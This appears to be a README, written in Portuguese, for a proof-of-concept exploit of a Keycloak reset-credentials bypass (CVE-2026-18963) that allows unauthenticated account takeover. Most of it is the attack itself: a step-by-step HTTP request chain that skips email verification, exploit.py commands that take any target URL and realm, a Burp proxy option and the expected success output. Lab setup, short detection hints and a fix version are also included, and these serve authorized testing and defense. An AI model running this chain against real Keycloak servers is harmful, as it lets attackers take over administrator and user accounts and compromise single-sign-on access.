
Exploit de prova de conceito para CVE-2026-18963, um bypass crítico de redefinição de credenciais no Keycloak que possibilita a tomada de conta não autenticada. Inclui configuração de laboratório, orientações de detecção e etapas de remediação para testes autorizados.
Tomada de conta não autenticada no fluxo de reset-credentials do Keycloak. Um atacante que conheça apenas um nome de usuário/e-mail pode redefinir a senha de qualquer usuário — incluindo administradores — sem nunca receber o e-mail de verificação.
Esta prova de conceito é publicada estritamente para fins educacionais, pesquisa defensiva, engenharia de detecção e testes de segurança autorizados.
Consulte DISCLAIMER.md para a declaração completa.
| CVE | CVE-2026-18963 |
| Gravidade | Crítica — CVSS 3.1 9.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N) |
| Fraqueza | CWE-640 — Mecanismo Fraco de Recuperação de Senha |
| Afetados | Keycloak < 26.7.2 (upstream). Também os streams de build da RH corrigidos via pacotes 26.6.6 / 26.4.15 |
| Corrigido em | Keycloak 26.7.2 (PR #51844) |
| Pré-requisitos | Esqueci minha senha (redefinição de credenciais) habilitado no realm — o padrão |
| Impacto | Tomada total de conta de qualquer usuário (incluindo administradores do realm) → comprometimento do IdP + acesso SSO lateral |
O fluxo de redefinição de senha (reset-credentials) normalmente obriga você a clicar em um link
enviado por e-mail ao proprietário da conta antes de definir uma nova senha. Duas falhas permitem que um
atacante ignore essa verificação por completo:
AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED = "true" sem escopo para o
ID de execução. Reentrar no fluxo deixa a sessão de autenticação em um
estado confuso/obsoleto.ResetCredentialEmail.action() chama
context.success() sem verificar ACTION_TOKEN_USER_ID (ou seja, sem
confirmar que o token de ação enviado por e-mail foi de fato consumido).O encadeamento delas avança a sessão de autenticação direto para a
etapa UPDATE_PASSWORD para um usuário arbitrário, sem necessidade de e-mail.
GET /auth (client_id=account) ── login page (has "Forgot password?")
GET /login-actions/reset-credentials … ── choose-user form
POST …reset-credentials tryAnotherWay=on ── bug #1: enter "Try Another Way" selector
POST …reset-credentials username=<victim> ── select user via selector
GET …/restart … ── refresh session state
GET /login-actions/reset-credentials … ── re-enter → STALE selector (corrupted state)
POST …reset-credentials username=<victim> ── bug #2: jumps to UPDATE_PASSWORD (no token!)
POST /login-actions/required-action?execution=UPDATE_PASSWORD
password-new=…&password-confirm=… ── 302 → password changed → TAKEOVER
Consulte docs/ROOTCAUSE.md para o diff do patch anotado.
Você precisa de Docker e Python 3 com requests.
# 1) Spin up a vulnerable Keycloak + demo realm/user (any version < 26.7.2)
./run_lab.sh # uses keycloak/keycloak:26.5.0
# 2) Run the exploit against the demo 'victim' user
pip install requests
python3 exploit.py --base http://127.0.0.1:8080 --realm poc \
--client account --victim victim --new-pass 'Pwned-2026!'
Saída final esperada:
[7] *** update-password form served WITHOUT token ***
[8] set-password -> HTTP 302
[+] CVE-2026-18963 EXPLOITED. Login: victim / Pwned-2026!
Em seguida, faça login como victim / Pwned-2026! para confirmar a tomada de conta.
KC_TAG=26.7.2 ./run_lab.sh
python3 exploit.py --base http://127.0.0.1:8080 --realm poc \
--client account --victim victim --new-pass 'Pwned-2026!'
# stops early — the update-password form is never served
python3 exploit.py --base URL --realm REALM --victim USER --new-pass PASS [options]
--base Keycloak base URL, e.g. http://127.0.0.1:8080
--realm target realm (default: master)
--client public client without PKCE (default: account)
--victim victim username or email
--new-pass password to set
--proxy route through a proxy, e.g. http://127.0.0.1:8081 (Burp)
-k skip TLS verification
Cada resposta HTTP é gravada em ./dump/ para inspeção.
O Keycloak já usa 8080, então aponte o listener do Burp para outra porta (ex.: 8081):
python3 exploit.py --base http://127.0.0.1:8080 --realm poc \
--client account --victim victim --new-pass 'Pwned-2026!' \
--proxy http://127.0.0.1:8081
A cadeia de requisições bruta para o Burp Repeater está em
requests/burp-chain.txt.
Procure por uma alteração de senha que não foi precedida por verificação de e-mail na mesma sessão de autenticação:
UPDATE_PASSWORD sem um VERIFY_EMAIL /
EXECUTE_ACTION_TOKEN anterior para essa sessão.reset-credentials contendo tryAnotherWay=on.login-actions/reset-credentials para o mesmo tab_id.Uma execução completa está gravada em CVE-2026-18963.mp4 (na raiz do repositório).
Cadeia corroborada com o patch público do Keycloak (PR #51844) e write-ups da comunidade.
MIT © red-darkin — somente para uso educacional e testes autorizados.